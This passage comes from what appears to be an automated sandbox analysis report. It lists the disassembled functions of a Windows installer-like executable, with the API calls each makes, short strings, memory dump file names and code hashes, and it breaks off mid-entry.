Instruction ID: 3df5019795aaf58f6817f8e3609a5bcb0d9fa216103f8ca083ea3247371bac5c
Opcode Fuzzy Hash: 22bb0f4a0285bec378f517b8b25bc548c1454a96ed25189fc1485adbf29640f7
Instruction Fuzzy Hash: 2441B231400A14BADB21BB65DC8DAAF7678EF81714F24813BF801B11D1DB7C4A81DEAE

Uniqueness

Uniqueness Score: -1.00%

Function 004068B4 Relevance: 3.0, APIs: 2, Instructions: 14fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(75923420,0042FAB8,0042F270,00405F77,0042F270,0042F270,00000000,0042F270,0042F270,75923420,?,C:\Users\user\AppData\Local\Temp\,00405C83,?,75923420,C:\Users\user\AppData\Local\Temp\), ref: 004068BF
FindClose.KERNEL32(00000000), ref: 004068CB

Memory Dump Source

Source File: 00000000.00000002.2013727024.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2013702121.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013754171.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013767501.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013767501.000000000040D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013767501.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013767501.0000000000441000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013828842.0000000000445000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xwREqjHUEv.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID:
API String ID: 2295610775-0
Opcode ID: d8a05a579feb8caf00dd3d3e1258ef949bc643ef28fd0ab534c34ddbe61a4aed
Instruction ID: 0f602bcf77736d61886636fd33b874369bd8b56ce32760b4adaf045605f9a717
Opcode Fuzzy Hash: d8a05a579feb8caf00dd3d3e1258ef949bc643ef28fd0ab534c34ddbe61a4aed
Instruction Fuzzy Hash: 24D012725161309BC2406738AD0C84B7B58AF15331751CA37F56BF21E0D7348C6387A9

Uniqueness

Uniqueness Score: -1.00%

Function 004021AF Relevance: 1.6, APIs: 1, Instructions: 129comCOMMON

Download Yara Rule

APIs

CoCreateInstance.OLE32(004085E8,?,00000001,004085D8,?,?,00000045,000000CD,00000002,000000DF,000000F0), ref: 0040222E

Memory Dump Source

Source File: 00000000.00000002.2013727024.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2013702121.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013754171.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013767501.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013767501.000000000040D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013767501.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013767501.0000000000441000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013828842.0000000000445000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xwREqjHUEv.jbxd

Similarity

API ID: CreateInstance
String ID:
API String ID: 542301482-0
Opcode ID: a90b5541f70cc3965861c320ab0ae6f4864bd50261fd75e99cc6532b3daacbe6
Instruction ID: f0c409d0c9855dc16f3492d495f607d4fcaf843261c47ee8c1995525671fe781
Opcode Fuzzy Hash: a90b5541f70cc3965861c320ab0ae6f4864bd50261fd75e99cc6532b3daacbe6
Instruction Fuzzy Hash: 76411471A00208AFCB40DFE4C989EAD7BB5FF48308B20457AF515EB2D1DB799982CB54

Uniqueness

Uniqueness Score: -1.00%

Function 00402910 Relevance: 1.5, APIs: 1, Instructions: 30fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(00000000,?,00000002), ref: 0040291F

Memory Dump Source

Source File: 00000000.00000002.2013727024.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2013702121.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013754171.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013767501.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013767501.000000000040D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013767501.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013767501.0000000000441000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013828842.0000000000445000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xwREqjHUEv.jbxd

Similarity

API ID: FileFindFirst
String ID:
API String ID: 1974802433-0
Opcode ID: 5b0fb285c9b4bcb701b5bdc638fb86233a16d4678ca4d14c0689f288dbcc861d
Instruction ID: 4f8030157269cd498ea314d5a86e386b0cfb994e1dea9c94a4400a3869289cfc
Opcode Fuzzy Hash: 5b0fb285c9b4bcb701b5bdc638fb86233a16d4678ca4d14c0689f288dbcc861d
Instruction Fuzzy Hash: 17F08C71A04104AAD701EBE4EE499AEB378EF14324F60457BE102F31E0DBB85E159B2A

Uniqueness

Uniqueness Score: -1.00%

Function 00406DC6 Relevance: .3, Instructions: 334COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2013727024.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2013702121.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013754171.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013767501.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013767501.000000000040D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013767501.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013767501.0000000000441000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013828842.0000000000445000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xwREqjHUEv.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ca9fc840679c4677ea5dd763a2b97f011fd48deb17cd4c9d43ec117c62889360
Instruction ID: a5eb8001d75a17d38d83411349fde439c8a9064fda1b18d7f978e280ae41e255
Opcode Fuzzy Hash: ca9fc840679c4677ea5dd763a2b97f011fd48deb17cd4c9d43ec117c62889360
Instruction Fuzzy Hash: ACE19C71A04709DFCB24CF58C880BAABBF1FF45305F15852EE496A72D1E378AA51CB05

Uniqueness

Uniqueness Score: -1.00%

Function 0040759D Relevance: .3, Instructions: 300COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2013727024.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2013702121.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013754171.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013767501.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013767501.000000000040D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013767501.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013767501.0000000000441000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013828842.0000000000445000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xwREqjHUEv.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5db23d3e625216a1972a1fea7a98b9ee98c1df0b240da8e2d6c4f39054d3f9c6
Instruction ID: e409ec8ffb443055957628c835c79614664982182129ebc37b3e11cb9bcd83e5
Opcode Fuzzy Hash: 5db23d3e625216a1972a1fea7a98b9ee98c1df0b240da8e2d6c4f39054d3f9c6
Instruction Fuzzy Hash: ECC14772E04219CBCF18CF68C4905EEBBB2BF98354F25866AD85677380D7346942CF95

Uniqueness

Uniqueness Score: -1.00%

Function 00404F43 Relevance: 63.5, APIs: 33, Strings: 3, Instructions: 489windowmemoryCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003F9), ref: 00404F5B
GetDlgItem.USER32(?,00000408), ref: 00404F66
GlobalAlloc.KERNEL32(00000040,?), ref: 00404FB0
LoadImageW.USER32(0000006E,00000000,00000000,00000000,00000000), ref: 00404FC7
SetWindowLongW.USER32(?,000000FC,00405550), ref: 00404FE0
ImageList_Create.COMCTL32(00000010,00000010,00000021,00000006,00000000), ref: 00404FF4
ImageList_AddMasked.COMCTL32(00000000,00000000,00FF00FF), ref: 00405006
SendMessageW.USER32(?,00001109,00000002), ref: 0040501C
SendMessageW.USER32(?,0000111C,00000000,00000000), ref: 00405028
SendMessageW.USER32(?,0000111B,00000010,00000000), ref: 0040503A
DeleteObject.GDI32(00000000), ref: 0040503D
SendMessageW.USER32(?,00000143,00000000,00000000), ref: 00405068
SendMessageW.USER32(?,00000151,00000000,00000000), ref: 00405074
SendMessageW.USER32(?,00001132,00000000,?), ref: 0040510F
SendMessageW.USER32(?,0000110A,00000003,00000110), ref: 0040513F

Part of subcall function 0040450B: SendMessageW.USER32(00000028,?,00000001,00404336), ref: 00404519

SendMessageW.USER32(?,00001132,00000000,?), ref: 00405153
GetWindowLongW.USER32(?,000000F0), ref: 00405181
SetWindowLongW.USER32(?,000000F0,00000000), ref: 0040518F
ShowWindow.USER32(?,00000005), ref: 0040519F
SendMessageW.USER32(?,00000419,00000000,?), ref: 0040529A
SendMessageW.USER32(?,00000147,00000000,00000000), ref: 004052FF
SendMessageW.USER32(?,00000150,00000000,00000000), ref: 00405314
SendMessageW.USER32(?,00000420,00000000,00000020), ref: 00405338
SendMessageW.USER32(?,00000200,00000000,00000000), ref: 00405358
ImageList_Destroy.COMCTL32(?), ref: 0040536D
GlobalFree.KERNEL32(?), ref: 0040537D
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 004053F6
SendMessageW.USER32(?,00001102,?,?), ref: 0040549F
SendMessageW.USER32(?,0000113F,00000000,00000008), ref: 004054AE
InvalidateRect.USER32(?,00000000,00000001), ref: 004054D9
ShowWindow.USER32(?,00000000), ref: 00405527
GetDlgItem.USER32(?,000003FE), ref: 00405532
ShowWindow.USER32(00000000), ref: 00405539

Strings

, xrefs: 00405511
M, xrefs: 004050F7
N, xrefs: 004051D8

Memory Dump Source

Source File: 00000000.00000002.2013727024.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2013702121.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013754171.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013767501.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013767501.000000000040D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013767501.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013767501.0000000000441000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013828842.0000000000445000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xwREqjHUEv.jbxd

Similarity

API ID: MessageSend$Window$Image$ItemList_LongShow$Global$AllocCreateDeleteDestroyFreeInvalidateLoadMaskedObjectRect
String ID: $M$N
API String ID: 2564846305-813528018
Opcode ID: 14683326fe5d0e21a3b01d942e888f99a0d9647cceadcd168bf81575faddcc86
Instruction ID: 91097811874ce85ba3cc7540bcf7dd58db25a3d6f071223140e4d1ec27d7ea12
Opcode Fuzzy Hash: 14683326fe5d0e21a3b01d942e888f99a0d9647cceadcd168bf81575faddcc86
Instruction Fuzzy Hash: 6C029C70900608AFDF20DF94DD85AAF7BB5FB85314F10817AE611BA2E1D7798A41CF58

Uniqueness

Uniqueness Score: -1.00%

Function 00403FD7 Relevance: 51.4, APIs: 34, Instructions: 357windowstringCOMMON

Download Yara Rule

APIs

SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000013), ref: 00404013
ShowWindow.USER32(?), ref: 00404033
GetWindowLongW.USER32(?,000000F0), ref: 00404045
ShowWindow.USER32(?,00000004), ref: 0040405E
DestroyWindow.USER32 ref: 00404072
SetWindowLongW.USER32(?,00000000,00000000), ref: 0040408B
GetDlgItem.USER32(?,?), ref: 004040AA
SendMessageW.USER32(00000000,000000F3,00000000,00000000), ref: 004040BE
IsWindowEnabled.USER32(00000000), ref: 004040C5
GetDlgItem.USER32(?,00000001), ref: 00404170
GetDlgItem.USER32(?,00000002), ref: 0040417A
SetClassLongW.USER32(?,000000F2,?), ref: 00404194
SendMessageW.USER32(0000040F,00000000,00000001,?), ref: 004041E5
GetDlgItem.USER32(?,00000003), ref: 0040428B
ShowWindow.USER32(00000000,?), ref: 004042AC
EnableWindow.USER32(?,?), ref: 004042BE
EnableWindow.USER32(?,?), ref: 004042D9
GetSystemMenu.USER32(?,00000000,0000F060,00000001), ref: 004042EF
EnableMenuItem.USER32(00000000), ref: 004042F6
SendMessageW.USER32(?,000000F4,00000000,00000001), ref: 0040430E
SendMessageW.USER32(?,00000401,00000002,00000000), ref: 00404321
lstrlenW.KERNEL32(0042CA68,?,0042CA68,00000000), ref: 0040434B
SetWindowTextW.USER32(?,0042CA68), ref: 0040435F
ShowWindow.USER32(?,0000000A), ref: 00404493

Memory Dump Source

Source File: 00000000.00000002.2013727024.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2013702121.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013754171.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013767501.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013767501.000000000040D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013767501.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013767501.0000000000441000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013828842.0000000000445000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xwREqjHUEv.jbxd

Similarity

API ID: Window$Item$MessageSendShow$EnableLong$Menu$ClassDestroyEnabledSystemTextlstrlen
String ID:
API String ID: 1860320154-0
Opcode ID: df8d1fa02ff149c62ea57a685de79d9d3ef227f732b6982a07419eaff96d62a7
Instruction ID: 911e0a6aef898d83942fe666095560f38e6effa11f08765efd6836b1f10f2e9c
Opcode Fuzzy Hash: df8d1fa02ff149c62ea57a685de79d9d3ef227f732b6982a07419eaff96d62a7
Instruction Fuzzy Hash: 29C1B0B1500204BBDB206F61EE89A2B3A68FB85756F01053EF781B51F0CB3958929B2D

Uniqueness

Uniqueness Score: -1.00%

Function 00404695 Relevance: 35.2, APIs: 19, Strings: 1, Instructions: 204windowstringCOMMON

Download Yara Rule

APIs

CheckDlgButton.USER32(?,-0000040A,00000001), ref: 00404733
GetDlgItem.USER32(?,000003E8), ref: 00404747
SendMessageW.USER32(00000000,0000045B,00000001,00000000), ref: 00404764
GetSysColor.USER32(?), ref: 00404775
SendMessageW.USER32(00000000,00000443,00000000,?), ref: 00404783
SendMessageW.USER32(00000000,00000445,00000000,04010000), ref: 00404791
lstrlenW.KERNEL32(?), ref: 00404796
SendMessageW.USER32(00000000,00000435,00000000,00000000), ref: 004047A3
SendMessageW.USER32(00000000,00000449,00000110,00000110), ref: 004047B8
GetDlgItem.USER32(?,0000040A), ref: 00404811
SendMessageW.USER32(00000000), ref: 00404818
GetDlgItem.USER32(?,000003E8), ref: 00404843
SendMessageW.USER32(00000000,0000044B,00000000,00000201), ref: 00404886
LoadCursorW.USER32(00000000,00007F02), ref: 00404894
SetCursor.USER32(00000000), ref: 00404897
LoadCursorW.USER32(00000000,00007F00), ref: 004048B0
SetCursor.USER32(00000000), ref: 004048B3
SendMessageW.USER32(00000111,00000001,00000000), ref: 004048E2
SendMessageW.USER32(00000010,00000000,00000000), ref: 004048F4

Strings

N, xrefs: 00404831

Memory Dump Source

Source File: 00000000.00000002.2013727024.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2013702121.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013754171.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013767501.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013767501.000000000040D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013767501.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013767501.0000000000441000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013828842.0000000000445000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xwREqjHUEv.jbxd

Similarity

API ID: MessageSend$Cursor$Item$Load$ButtonCheckColorlstrlen
String ID: N
API String ID: 3103080414-1130791706
Opcode ID: 04e13e5971a3aaf2d7c3f6bec99ed017c89c89abbf6057be99a5caf0d4384f9a
Instruction ID: 3ad42440e7936429012ccc374b67200ab01768f99e4ad58672f49272ac14a637
Opcode Fuzzy Hash: 04e13e5971a3aaf2d7c3f6bec99ed017c89c89abbf6057be99a5caf0d4384f9a
Instruction Fuzzy Hash: 2E6181B1900209BFDB10AF60DD85EAA7B69FB84315F00853AFA05B62D0C779A951DF98

Uniqueness

Uniqueness Score: -1.00%

Function 00401000 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 125COMMON

Download Yara Rule

APIs

DefWindowProcW.USER32(?,00000046,?,?), ref: 0040102C
BeginPaint.USER32(?,?), ref: 00401047
GetClientRect.USER32(?,?), ref: 0040105B
CreateBrushIndirect.GDI32(00000000), ref: 004010CF
FillRect.USER32(00000000,?,00000000), ref: 004010E4
DeleteObject.GDI32(?), ref: 004010ED
CreateFontIndirectW.GDI32(?), ref: 00401105
SetBkMode.GDI32(00000000,00000001), ref: 00401126
SetTextColor.GDI32(00000000,000000FF), ref: 00401130
SelectObject.GDI32(00000000,?), ref: 00401140
DrawTextW.USER32(00000000,00433700,000000FF,00000010,00000820), ref: 00401156
SelectObject.GDI32(00000000,00000000), ref: 00401160
DeleteObject.GDI32(?), ref: 00401165
EndPaint.USER32(?,?), ref: 0040116E

Strings

F, xrefs: 0040100C

Memory Dump Source

Source File: 00000000.00000002.2013727024.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2013702121.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013754171.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013767501.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013767501.000000000040D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013767501.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013767501.0000000000441000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013828842.0000000000445000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xwREqjHUEv.jbxd

Similarity

API ID: Object$CreateDeleteIndirectPaintRectSelectText$BeginBrushClientColorDrawFillFontModeProcWindow
String ID: F
API String ID: 941294808-1304234792
Opcode ID: f8b3db801d2c504d9e2de6f85bac4b8fdc05036872983a9c428bf394377a2a15
Instruction ID: eca0ad76d85821e0a7fbe67f508e5060b260b918cc65b70bf06bca200ae74670
Opcode Fuzzy Hash: f8b3db801d2c504d9e2de6f85bac4b8fdc05036872983a9c428bf394377a2a15
Instruction Fuzzy Hash: 2F418B71800209AFCB058FA5DE459AFBFB9FF45314F00802EF591AA1A0C738EA54DFA4

Uniqueness

Uniqueness Score: -1.00%

Function 0040619D Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 130memorystringCOMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(00000000,?,00000000,00000001,?,00000000,?,?,00406338,?,?), ref: 004061D8
GetShortPathNameW.KERNEL32(?,00430108,00000400), ref: 004061E1

Part of subcall function 00405FAC: lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00406291,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405FBC
Part of subcall function 00405FAC: lstrlenA.KERNEL32(00000000,?,00000000,00406291,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405FEE

GetShortPathNameW.KERNEL32(?,00430908,00000400), ref: 004061FE
wsprintfA.USER32 ref: 0040621C
GetFileSize.KERNEL32(00000000,00000000,00430908,C0000000,00000004,00430908,?,?,?,?,?), ref: 00406257
GlobalAlloc.KERNEL32(00000040,0000000A,?,?,?,?), ref: 00406266
lstrcpyA.KERNEL32(00000000,[Rename],00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 0040629E
SetFilePointer.KERNEL32(0040A580,00000000,00000000,00000000,00000000,0042FD08,00000000,-0000000A,0040A580,00000000,[Rename],00000000,00000000,00000000), ref: 004062F4
GlobalFree.KERNEL32(00000000), ref: 00406305
CloseHandle.KERNEL32(00000000,?,?,?,?), ref: 0040630C

Part of subcall function 00406047: GetFileAttributesW.KERNELBASE(00000003,004030C2,00442800,80000000,00000003), ref: 0040604B
Part of subcall function 00406047: CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000), ref: 0040606D

Strings

%ls=%ls, xrefs: 00406212
[Rename], xrefs: 00406286, 00406298

Memory Dump Source

Source File: 00000000.00000002.2013727024.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2013702121.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013754171.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013767501.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013767501.000000000040D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013767501.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013767501.0000000000441000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013828842.0000000000445000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xwREqjHUEv.jbxd

Similarity

API ID: File$CloseGlobalHandleNamePathShortlstrlen$AllocAttributesCreateFreePointerSizelstrcpywsprintf
String ID: %ls=%ls$[Rename]
API String ID: 2171350718-461813615
Opcode ID: 7d01897451b1442b79f1fbad31b5db9882c2a06ae1a72dd2fb598b53c99231a5
Instruction ID: 2f157a22eecee44515c187ff3daf75b9e7e255f904fde787f0dd9ddf92a1116e
Opcode Fuzzy Hash: 7d01897451b1442b79f1fbad31b5db9882c2a06ae1a72dd2fb598b53c99231a5
Instruction Fuzzy Hash: C9312271200315BBD2206B619D49F2B3A5CEF85718F16043EFD42FA2C2DB7D99258ABD

Uniqueness

Uniqueness Score: -1.00%

Function 0040453D Relevance: 12.1, APIs: 8, Instructions: 68COMMON

Download Yara Rule

APIs

GetWindowLongW.USER32(?,000000EB), ref: 0040455A
GetSysColor.USER32(00000000), ref: 00404598
SetTextColor.GDI32(?,00000000), ref: 004045A4
SetBkMode.GDI32(?,?), ref: 004045B0
GetSysColor.USER32(?), ref: 004045C3
SetBkColor.GDI32(?,?), ref: 004045D3
DeleteObject.GDI32(?), ref: 004045ED
CreateBrushIndirect.GDI32(?), ref: 004045F7

Memory Dump Source

Source File: 00000000.00000002.2013727024.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2013702121.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013754171.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013767501.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013767501.000000000040D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013767501.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013767501.0000000000441000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013828842.0000000000445000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xwREqjHUEv.jbxd

Similarity

API ID: Color$BrushCreateDeleteIndirectLongModeObjectTextWindow
String ID:
API String ID: 2320649405-0
Opcode ID: 9dba601b91aff6ac4bf2e5f3eaee39d76022ea5146a5c84035e03d3d84c8d27c
Instruction ID: 069c4eaec478219780f05c004fc5973679282d3c2eb16bc8cec9dcb23997e36d
Opcode Fuzzy Hash: 9dba601b91aff6ac4bf2e5f3eaee39d76022ea5146a5c84035e03d3d84c8d27c
Instruction Fuzzy Hash: 592151B1500704ABCB20DF68DE08A5B7BF8AF41714B05892EEA96A22E0D739E944CF54

Uniqueness

Uniqueness Score: -1.00%

Function 004026F1 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 153fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNEL32(?,?,?,?), ref: 0040275D
MultiByteToWideChar.KERNEL32(?,00000008,?,?,?,00000001), ref: 00402798
SetFilePointer.KERNEL32(?,?,?,00000001,?,00000008,?,?,?,00000001), ref: 004027BB
MultiByteToWideChar.KERNEL32(?,00000008,?,00000000,?,00000001,?,00000001,?,00000008,?,?,?,00000001), ref: 004027D1

Part of subcall function 00406128: SetFilePointer.KERNEL32(?,00000000,00000000,00000001), ref: 0040613E

SetFilePointer.KERNEL32(?,?,?,00000001,?,?,00000002), ref: 0040287D

Strings

9, xrefs: 00402740

Memory Dump Source

Source File: 00000000.00000002.2013727024.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2013702121.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013754171.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013767501.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013767501.000000000040D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013767501.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013767501.0000000000441000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013828842.0000000000445000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xwREqjHUEv.jbxd

Similarity

API ID: File$Pointer$ByteCharMultiWide$Read
String ID: 9
API String ID: 163830602-2366072709
Opcode ID: 6186ba75392568282b6731289b87e01334a0414050beb0dbbc28c320faadcf08
Instruction ID: e892b7cb172a86a35cdf2d5061c859a119b49b65f2ae0b0c69c9b35c58dd84de
Opcode Fuzzy Hash: 6186ba75392568282b6731289b87e01334a0414050beb0dbbc28c320faadcf08
Instruction Fuzzy Hash: F151FB75D0411AABDF24DFD4CA85AAEBBB9FF04344F10817BE901B62D0D7B49D828B58

Uniqueness

Uniqueness Score: -1.00%

Function 004055DC Relevance: 10.6, APIs: 7, Instructions: 72stringwindowCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(0042BA48,00000000,?,759223A0,?,?,?,?,?,?,?,?,?,0040341D,00000000,?), ref: 00405614
lstrlenW.KERNEL32(0040341D,0042BA48,00000000,?,759223A0,?,?,?,?,?,?,?,?,?,0040341D,00000000), ref: 00405624
lstrcatW.KERNEL32(0042BA48,0040341D), ref: 00405637
SetWindowTextW.USER32(0042BA48,0042BA48), ref: 00405649
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 0040566F
SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 00405689
SendMessageW.USER32(?,00001013,?,00000000), ref: 00405697

Memory Dump Source

Source File: 00000000.00000002.2013727024.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2013702121.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013754171.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
